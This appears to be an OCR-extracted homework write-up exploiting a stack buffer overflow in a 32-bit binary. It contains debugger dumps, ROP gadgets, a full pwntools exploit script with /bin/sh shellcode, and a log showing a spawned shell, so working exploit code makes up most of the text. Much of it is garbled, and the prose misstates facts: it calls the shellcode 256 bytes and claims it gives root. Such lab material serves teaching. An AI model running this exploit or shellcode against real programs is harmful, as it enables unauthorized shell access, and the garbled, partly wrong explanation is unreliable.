## Exploiting Buffer Overflow Vulnerability Part2

```
disass ultimateQuestion
Dump of assembler code for function ultimateQuestion:
   0×080491d8 <+0>: push ebp
0×080491d9 <+1>: mov ebp,
0×080491db <+3>: push ecx
9×080491dc <+4>: sub esp,
                                           ebp,esp
                                           esp,0×1b8
   0×080491e2 <+10>: lea
0×080491e5 <+13>: mov
                                           ecx,[ebp+0×8]
                                           eax,ecx
   0×080491e7 <+15>:
                                           DWORD PTR [eax+0×1c]
                                 push
   0×080491ea <+18>: lea eax,[ebp-0×1bc]

0×080491f0 <+24>: push eax

0×080491f1 <+25>: call 0×8049030 <strcpy@plt>
                                        esp,0×8
   0×080491f6 <+30>: add
0×080491f9 <+33>: mov
                                          eax,0×2a
   0×080491fe <+38>:
0×08049201 <+41>:
0×08049202 <+42>:
                                           ecx, DWORD PTR [ebp-0×4]
                                 leave
                                 ret
End of assembler dump.
          break *0×08049202
Breakpoint 1 at 0
          r < <( (python2 -c "print('A'*448 + 'B'*4)"))
```

```
Breakpoint 1, 0\times08049202 in ultimateQuestion () LEGEND: STACK | HEAP | CODE | DATA | \underline{RWX} | RODATA
 EAX 0×2a
EBX 0×0
 ECX 0×41414141 ('AAAA')
EDX 0×ffffccf8 ← 0×212d7700
  EDI
 ESI 0×1

EBP 0×41414141 ('AAAA')

ESP 0×ffffccf4 ← 'BBBB'
  ▶ 0×8049202 <ultimateQuestion+42>
                                                                               <0×42424242>
                                                                  ret
00:0000 esp <u>0×ffffccf4</u> ← 'BBBB'
01:0004 edx <u>0×ffffccf8</u> ← 0×212d7700
                   0×ffffccfc -- 0×212d7/00
0×ffffccfc -- 0×4043741f
0×ffffcd04 -- 0×91d14e3c
0×ffffcd08 -- '\\BS@(#'
0×ffffcd0c -- 0×2328 /* '(#' */
0×ffffcd0c -- 0×ffffffff
0×ffffcd10 -- 0×7
02:0008
03:000c
04:0010
05:0014
06:0018
07:001c
 ▶ f 0 0×8049202 ultimateQuestion+42
     f 1 0×42424242
     f 2 0×212d7700
     f 3 0×4043741f
     f 4 0×91d14e3c
     f 5 0×4053425c
             0×2328
     f 7 0×ffffffff
              П
```

```
grep "pop
0×08049335 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0×080492af : add byte ptr [eax], al ; pop ebp ; ret
0×080492ad : add dword ptr [eax], eax ; add byte ptr [eax], al ; pop ebp ; ret
0×08049315 : add esp, 0×c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0×0804901b : add esp, 8 ; pop ebx ; ret
0×08049314 : jecxz 0×8049299 ; les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0×08049313
             jne 0×80492f8; add esp, 0×c; pop ebx; pop esi; pop edi; pop ebp; ret
             les ecx, ptr [eax] ; pop ebx ; ret
0×0804901c :
0×08049316 : les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0×080492ac : mov eax, 1 ; pop ebp ; ret
0×08049317 : or al, 0×5b ; pop esi ; pop edi ; pop ebp ; ret
0×080492b1 : pop ebp ; ret
0×08049318 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 1_
0×0804901e : pop ebx ; ret
0×0804931a : pop edi ; pop ebp ; ret 🤰
0×0804923a : pop es ; add byte ptr [eax], al ; add byte ptr [ebp - 0×20f7b], cl ; call dword ptr [
eax + 0 \times 68]
0×08049319 : pop esi ; pop edi ; pop ebp ; ret
0×080492a1 : popal ; cld ; ret
0×08049016 : sal byte ptr [edx + eax - 1], 0×d0 ; add esp, 8 ; pop ebx ; ret
```

```
stack 100
00:0000
         esp 0×ffffccf4 ← 'BBBB'
01:0004
         edx 0×ffffccf8 ← 0×212d7700
             0×ffffccfc → 0×4043741f
02:0008
03:000c
             0×ffffcd00 ← 0×91d14e3c
04:0010
             0×ffffcd04 ←
                           '\\BS@(#'
             <u>0×ffffcd08</u> ← 0×2328 /* '(#'
05:0014
             0×ffffcd0c → 0×fffffffff
06:0018
             0×ffffcd10 → 0×7
07:001c
             0×ffffcd14 → 0×ffffcd1c ← 0×41414141 ('AAAA')
08:0020
09:0024
             0×ffffcd18 → 0×f7ff09ed ← 'realloc'
             0×ffffcd1c -- 0×41414141 ('AAAA')
0a:0028
             89 skipped
```

## https://shell-storm.org/shellcode/files/shellcode-256.html

The shellcode used above a **Linux x86** shellcode that executes a **/bin/sh** shell. The shellcode is written in **assembly language** and is **256 bytes** long.

To understand how the shellcode works, we need to disassemble it and analyze the instructions. The following is the disassembled code:

The first instruction 31 c0 sets the value of the eax register to 0. The next instruction 50 pushes the value of eax onto the stack. The next instructions 68 2f 2f 73 68 and 68 2f 62 69 6e push the strings /bin//sh onto the stack. The next instruction 89 e3 moves the value of esp into the ebx register. The next instruction

50 pushes the value of eax onto the stack again. The next instruction 89 e2 moves the value of esp into the edx register. The next instruction 53 pushes the value of ebx onto the stack. The next instruction 89 e1 moves the value of esp into the ecx register. The next instruction b0 0b sets the value of al to 0x0b. Finally, the last instruction cd 80 executes an interrupt to invoke a system call.

When executed, this shellcode will spawn a new shell with root privileges.

```
17 binPath="./hw2p1
18 isRemote = pwn.args.REMOTE
19
20 # build in GDB support
21 gdbscript =
22 init-pwndbg
23 break *ultimateQuestion+42
24 continue
25 '''.format(**locals())
26
27 # interact with the program to get to where we can exploit
28 pwn.context.log_level="debug"
29 elf = pwn.context.binary = pwn.ELF(binPath, checksec=False)
30 pwn.context.update(arch='i386', os='linux')
32 io = start()
33
34 # define Payload & Gadgets
35 bufLen = 408
37 gadget1=pwn.p32(0×08049318)
38 gadget2=pwn.p32(0×0804931a)
39 numNOPs = b'\x90'*16
40
41 overFlow = bufLen * b'\x90'
42 ret = b'B'*4
44 shellcode=b'\
45
46
47 #bad \x00\x09\x0a\x0b\x0c\x0d\x09\x20\
48 #good =
 b'\x01\x02\x03\x04\x05\x06\x07\x08\x0e\x0f\x10\x11\x12\x13\x14
50 buffer = pwn.flat(
52
53
                shellcode,
               overFlow,
55
               gadget1,
                numNOPs,
57
                gadget2
           1)
58
60 pwn.info("buffer len: %d",len(buffer))
61 io.sendline(buffer)
63 io.interactive()
```

```
[+] Starting local process './hw2p1': pid 368500
[*] buffer len: 472
      [] Sent 0×1d9 bytes:
                                                                                 -RXR 9 4 - W 4 - G W - R S C,X
    000000000 99 52 58 52 bf b7 97 39 34 01 ff 57 bf 97 17 b1 00000010 34 01 ff 47 57 89 e3 52 53 89 e1 b0 63 2c 58 81 00000020 ef 62 ae 61 69 57 ff d4 90 90 90 90 90 90 90
    00000030 90 90 90 90
    000001c0 18 93 04 08 90 90 90 90 90 90 90 90 90 90 90
    000001d0 90 90 90 90 1a 93 04 08
[*] Switching to interactive mode
    W6] Sent 0×7 bytes:
b'whoami∖n'
       ] Received 0×5 bytes:
    b'kali\n'
kali
  echo
     [6] Sent 0×19 bytes:
    b'echo
       Received 0×12 bytes:
                            n'
    b'date\n'
       Received 0×1d bytes:
    b'Fri Nov 11 22:46:53 EST 2022\n'
Fri Nov 11 22:46:53 EST 2022
```

```
▶ 0×8049202 <ultimateOuestion+42>
                                                                                                                                                              ; __libc_csu_init+88>
                                                                        ret
      0×8049318 <__libc_csu_init+88>
0×8049319 <__libc_csu_init+89>
0×804931a <__libc_csu_init+90>
0×804931b <__libc_csu_init+91>
0×804931c <_libc_csu_init+92>
      0×804931a <_libc_csu_init+90>
0×804931b <_libc_csu_init+91>
0×804931c <_libc_csu_init+92>
       0×ff981a7c
       0×ff981a7d
                 esp <u>0×ff981a54</u> → 0×8049318 (

<u>0×ff981a58</u> ← 0×90909090

3 skipped
  00:0000
  01:0004
 ... ↓
05:0014
                 edx <u>0×ff981a68</u> →
                         <u>0×ff981a6c</u> ← 0×ffffff00
<u>0×ff981a70</u> ← 0×7
  06:0018
      f 0 0×8049202 ultimateQuestion+42
       f 1 0×8049318 __libc_csu_init+88
                П
mouse pointer outside or press Ctrl+Alt.
```

#!/usr/bin/env python3

import time, os, traceback, sys, os import pwn

```
from textwrap import wrap
def start(argv=[], *a, **kw):
  if pwn.args.GDB: # use the gdb script, sudo apt install gdbserver
    return pwn.gdb.debug([binPath] + argv, gdbscript=gdbscript, *a, **kw)
  elif pwn.args.REMOTE: # ['server', 'port']
    return pwn.remote(sys.argv[1], sys.argv[2], *a, **kw)
  else: # run locally, no GDB
    return pwn.process([binPath]+argv, *a, **kw)
binPath="./hw2p1"
isRemote = pwn.args.REMOTE
# build in GDB support
gdbscript = "
init-pwndbg
break *ultimateQuestion+42
continue
"".format(**locals())
# interact with the program to get to where we can exploit
pwn.context.log_level="debug"
elf = pwn.context.binary = pwn.ELF(binPath, checksec=False)
pwn.context.update(arch='i386', os='linux')
```

import binascii, array

```
io = start()# define Payload & GadgetsbufLen = 408
```

 $gadget1=pwn.p32(0x08049318) \\ gadget2=pwn.p32(0x0804931a) \\ numNOPs = b' \ x90'*16$ 

overFlow = bufLen \*  $b' \times 90'$ ret = b'B'\*4

 $shellcode=b'\x99\x52\x58\x52\xbf\xb7\x97\x39\x34\x01\xff\x57\xbf\x97\x17\xb1\x34\x01\xff\x47\x57\x89\xe3\x52\x53\x89\xe1\xb0\x63\x2c\x58\x81\xef\x62\xae\x61\x69\x57\xff\xd4'$ 

 $\#bad \x00\x09\x0a\x0b\x0c\x0d\x09\x20\$ 

#good =

 $e2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'$